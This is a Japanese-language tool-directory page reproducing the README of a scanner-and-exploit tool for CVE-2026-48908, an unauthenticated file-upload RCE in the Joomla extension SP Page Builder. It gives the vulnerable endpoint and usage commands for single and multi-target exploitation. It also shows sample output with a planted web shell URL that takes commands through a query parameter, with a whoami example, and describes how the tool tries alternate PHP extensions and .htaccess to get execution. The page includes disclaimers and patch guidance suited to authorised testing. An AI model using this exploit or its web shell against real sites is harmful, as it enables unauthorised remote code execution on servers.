Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-48908-by-yora — SP Page Builder に影響する CVE-2026-48908 のパッシブセキュリティチェッカー。 | Kitploit
ツール/GitHubGitHub/yora1928/cve-2026-48908-by-yora
偵察脆弱性スキャナーウェブ脆弱性スキャナーペイロード生成エクスプロイトウェブアプリケーション悪用情報収集ウェブセキュリティペネトレーションテストレッドチーミング
GitHubyora1928/cve-2026-48908-by-yora

CVE-2026-48908-by-yora

28日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

SP Page Builder に影響する CVE-2026-48908 のパッシブセキュリティチェッカー。

リポジトリを見る

🔐 CVE-2026-48908 スキャナー + PoC(安全なエクスプロイト)

[ Joomla SP Page Builder — 未認証 RCE ]

Python License Joomla

yora によって開発されました


📌 このプロジェクトについて

このプロジェクトは、Joomla 向け拡張機能 SP Page Builder における CVE-2026-48908 の脆弱性を検出・実証するために yora が開発したセキュリティ調査ツールです。

この脆弱性により、攻撃者はエンドポイント asset.uploadCustomIcon を介して認証なしで PHP ファイルをアップロードできます。アップロードされたファイルは公開ディレクトリに展開され、実行可能になるため、リモートコード実行(RCE) につながります。

影響を受けるバージョン: SP Page Builder 1.0.0 ~ 6.6.1(6.6.2 で修正済み)

⚠️ 警告 – このツールは、自分が所有している、またはテストのための書面による許可を得ているシステムでのみ使用してください。許可なく使用することは違法です。


👨‍💻 開発者

このプロジェクトは、以下の人物によって開発・管理されています:

  • yora — GitHub • Twitter

セキュリティコミュニティと独立系研究者によって支えられています。


✨ 主な機能


🚀 インストール

リポジトリのクローン

root@kitploit:~
git clone https://github.com/yora1928/CVE-2026-48908-by-yora.git
cd CVE-2026-48908-by-yora

依存関係のインストール

root@kitploit:~
python -m pip install -r requirements.txt

requirements.txt:

root@kitploit:~
requests>=2.28.0

📖 使用方法

1️⃣ 検出のみ(エクスプロイトなし)

root@kitploit:~
python scanner.py --url https://target-website.com

出力例:

root@kitploit:~
[🔴 CONFIRMED] https://target-website.com
    ├─ SP detected
    ├─ v6.3.1
    └─ Vulnerable version 6.3.1 and endpoint open

2️⃣ 検出 + RCE の実証(安全なエクスプロイト)

root@kitploit:~
python scanner.py --url https://target-website.com --exploit

実行内容:

  • ツールが脆弱なバージョンを検出します。
  • 秘密トークンを含む PHP ファイルをアップロードします。
  • 実行を確認するために、そのファイルへのアクセスを試みます。
  • 成功すると、すぐに使用可能な Shell URL が表示されます。

成功時の出力例(実際のテストより):

root@kitploit:~
[*] Scanning: https://target-website.com
[*] Target confirmed vulnerable. Running adaptive exploit...
[*] Trying method: php                 -> EXECUTED
[🔴 CONFIRMED] https://target-website.com
    ├─ SP detected
    ├─ v6.3.1
    └─ Vulnerable version 6.3.1 and endpoint open
    └─ ✅ RCE confirmed via PoC upload!
         Shell URL: https://target-website.com/media/com_sppagebuilder/assets/iconfont/icoyjdehd/fonts/fpqofpk.php?t=7f5e90gcxx0j0r51&c=<cmd>
         Created dirs: media/com_sppagebuilder/assets/iconfont/icoyjdehd

Shell URL の使用方法:

  • 実行したいコマンドを含む c パラメータを指定して URL にアクセスします。
  • 例: ...?t=7f5e90gcxx0j0r51&c=whoami
  • コマンドの出力がページに表示されます。

🔐 トークン(t=...)は機密情報です – シェル URL を権限のない第三者と共有しないでください。


3️⃣ ファイルから複数ターゲットをスキャンする

targets.txt ファイルを作成します(1 行に 1 つの URL):

root@kitploit:~
https://site1.com
https://site2.com

実行:

root@kitploit:~
python scanner.py --list targets.txt --threads 5

エクスプロイトを有効にする場合:

root@kitploit:~
python scanner.py --list targets.txt --threads 5 --exploit

4️⃣ 結果を JSON ファイルに保存する

root@kitploit:~
python scanner.py --url https://target.com --output reports/hasil.json

5️⃣ クリーンアップ(アーティファクトの削除)

完了したら、作成されたディレクトリを削除します:

root@kitploit:~
python scanner.py --url https://target.com --exploit --cleanup

注記: --cleanup は、手動で実行するための rm -rf コマンドを表示します(書き込み権限が制限されている場合があるため)。FTP/SSH アクセス権がある場合は、Created dirs に記載されているディレクトリを削除してください。


📊 分類結果の解釈


📁 JSON レポートの例

scan_result.json ファイルには、収集されたすべての証拠が含まれます:

root@kitploit:~
{
  "scanner": "CVE-2026-48908 Scanner + Exploit",
  "scan_time": "2026-08-13T10:30:00.123456+00:00",
  "total_targets": 1,
  "results": [
    {
      "target": "https://target.com",
      "classification": {
        "status": "CONFIRMED",
        "confidence": "high",
        "reasoning": ["Vulnerable version 6.3.1 and endpoint open"],
        "evidence_summary": ["SP asset at /components/..."]
      },
      "exploit_result": {
        "upload_success": true,
        "access_success": true,
        "shell_url": "https://target.com/media/.../fpqofpk.php?t=TOKEN&c=<cmd>",
        "created_dirs": ["media/com_sppagebuilder/assets/iconfont/icoyjdehd"]
      }
    }
  ]
}

📁 プロジェクト構成

root@kitploit:~
CVE-2026-48908-by-yora/
├── scanner.py          # File utama (deteksi + exploit)
├── requirements.txt    # Dependensi Python
├── README.md           # Dokumentasi ini
├── SECURITY.md         # Kebijakan keamanan dan pelaporan
├── LICENSE             # Lisensi MIT
├── detection/          # (opsional) modul deteksi tambahan
├── poc/                # (opsional) PoC alternatif
└── reports/            # Tempat menyimpan hasil JSON (otomatis)

🔒 倫理と責任

  • このツールは、自分が所有している、または書面による許可を得たシステムでのみ使用してください。
  • 以下の目的には使用しないでください:
    • インターネット上の無差別スキャン。
    • 攻撃対象となる脆弱なターゲットの収集。
    • 他人のシステムへの不正アクセス。
  • 完了後は、すべてのアーティファクト(アップロードしたファイルとディレクトリ)を削除してください。
  • 作者(yora)は、このツールの悪用について一切責任を負いません。

このツールを使用することで、お客様はご自身の行動に対して全責任を負うことに同意したものとみなされます。


📬 貢献と報告

問題を発見した場合や貢献したい場合は、このリポジトリで Issue または Pull Request を開いてください。

セキュリティ報告については、SECURITY.md のガイドラインに従ってください。


📜 ライセンス

このプロジェクトは MIT ライセンス の下でライセンスされています。詳細は LICENSE ファイルを参照してください。


🙏 謝辞

  • CVE の発見: CERT Vanuatu, Censys, Check Point
  • PoC の研究と実装: yora とセキュリティコミュニティ。

yora によって ❤️ を込めて開発されました

ツールをダウンロード
機能説明
🔍 コンポーネント検出複数の情報源(robots.txt、administrator、asset、HTML)から Joomla と SP Page Builder を検出します。
📌 バージョンフィンガープリントCSS/JS、メタタグ、マニフェストファイルから SP Page Builder のバージョンを特定します。
🧪 エンドポイント検証認証なしで asset.uploadCustomIcon へのアクセスをテストします。
📊 スマート分類結果は、理由と信頼度とともに CONFIRMED / LIKELY / NOT_VULNERABLE / UNKNOWN に分類されます。
🚀 適応型エクスプロイト--exploit を使用すると、ツールはさまざまな PHP 拡張子(.php、.php3、.phtml、.PHP など)と .htaccess を試行し、RCE を安全に実証します。
📁 JSON 出力監査とレポート用に、すべての証拠が .json ファイルに保存されます。
⚡ マルチスレッド--list とスレッド設定を使用して、複数のターゲットを同時にスキャンします。
🧹 クリーンアップ--cleanup は、アップロードされたアーティファクトを削除するためのコマンドを表示します。
ステータス意味推奨される対応
🔴 CONFIRMEDSP Page Builder が検出され、脆弱なバージョン(≤ 6.6.1)であり、エンドポイント asset.uploadCustomIcon に認証なしでアクセスできる状態です。脆弱です。SP Page Builder を 6.6.2 以降に直ちに更新してください。すでに --exploit を使用した場合は、アップロードされたアーティファクトを削除してください。
🟡 LIKELYSP が検出され、バージョンは脆弱ですが、エンドポイントの認証ステータスがまだ確認できません。脆弱である可能性が高いです。ログインせずにエンドポイント index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon にアクセスして手動で検証してください。ログイン画面にリダイレクトされなければ、脆弱です。
🟢 NOT_VULNERABLESP Page Builder のバージョン ≥ 6.6.2(修正済み)が検出されました。安全です。追加の対応は不要です。
⚪ UNKNOWNSP Page Builder が検出されない、バージョンを特定できない、またはデータが不十分です。SP Page Builder がインストールされているか手動で確認してください。インストールされている場合は、/administrator/components/com_sppagebuilder/ にある sppagebuilder.xml ファイルからバージョン検出を試みてください。
❌ ERROR接続エラーまたはタイムアウトが発生しました。インターネット接続やファイアウォールを確認するか、--timeout 60 でタイムアウトを延長してみてください。